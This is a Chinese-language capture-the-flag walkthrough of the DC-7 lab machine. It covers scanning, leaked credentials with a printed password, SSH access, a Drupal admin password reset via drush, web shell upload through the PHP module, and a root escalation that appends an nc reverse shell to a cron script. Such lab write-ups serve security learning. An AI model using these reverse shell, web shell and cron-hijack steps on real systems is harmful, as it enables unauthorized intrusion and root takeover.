1、首先局域网扫描靶机的IP
2、使用nmap扫描靶机的IP看看开放端口的详细信息
3、进行扫描敏感信息和目录扫描
4、访问80端口并查看其他扫描的信息
靶机信息告诉我们跳出思维惯性
我们可以注意下底部的提示@DC7USER和框架drupal
探测网站cms系统框架
我们查看上述扫描的robots.txt,信息有很多目录,我们可以去访问试试
我访问了除了一个登录界面有用,其他的信息暂时没发现作用
然后我们回到上文,靶机的信息告诉我们跳出思维惯性,所以我们直接去谷歌或者github搜索@DC7USER
会有源码泄露,然后我们访问staffdb-》config.php
可以发现dc7user密码为:MdR3xOgB7#dW
我以为这是登录账户结果不行
但是在之前扫描端口的时候发现22端口开了,我们可以去尝试下ssh,登录成功
5、尝试提权
我们发现没有可以使用suid提权和sudo提权的命令
我们查看这个用户有什么内容
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
我们再查看在mbox中记录着root的定时任务,项目位置为/opt/scripts/backups.sh
我们去查看定时任务
如果这个文件是我们这个用户可以编写的,那我们就可以进行端口监听编写反弹shell
但是这个定时任务只有root和www-data可以编写,所以无法进行反弹,所以我们只能放弃编写了
我们观察一下脚本的内容
gpg命令是用来加密文件的,加密后的文件都是乱码 drush是一个简化了创建和管理Drupal8网站的命令行工具 查看你drush命令使用因此我们可以尝试着更改admin的密码的密码,让我们从网站进行登录
执行Drush命令是相对简单和直接的。从允许你访问操作系统命令行的终端窗口或其他工具导航到你Drupal网站的根目录下
使用drush status可以查看根目录在哪
我们需要到/var/www/html/下进行修改密码
6、回到登录的页面
四处寻找一下漏洞,发现在Content => Add content =>Basic page处似乎可以写shell。
但发现Drupal 8不支持PHP代码,我们去百度搜索后发现Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
然后我们进行勾选php模块
然后开始编写反弹shell
我们首先使用一句话木马进行上传
使用蚁剑进行连接
7、反弹shell
我们使用蚁剑连接后,我们首先在kali启动nc进行端口监听状态
接着使用蚁剑连接后的虚拟终端,进行nc反弹shell
连接后,开始建立交互式环境
python -c 'import pty;pty.spawn("/bin/bash")'
8、再次进行提权
我们使用find / -perm -u=s 2>/dev/null进行查找是否可以进行suid提权
因为我们当前的用户为www-data所以我们可以使用之前root用户的定时任务进行提权
所以我们再次使用nc写个反弹命令进定时任务中
echo "nc -e /bin/bash 192.168.31.154 5555" >> /opt/scripts/backups.sh
写入成功后,我们只需在kali中启动监听
等待着定时任务的启动
9、反弹shell的另一种做法
我们直接使用kali中msfvenom进行编写phpexp的代码进行监听
但是在我们使用这个代码时,首先把/*去掉,然后复制过去后要再加?>
总结
定时任务提权难找,需要注意下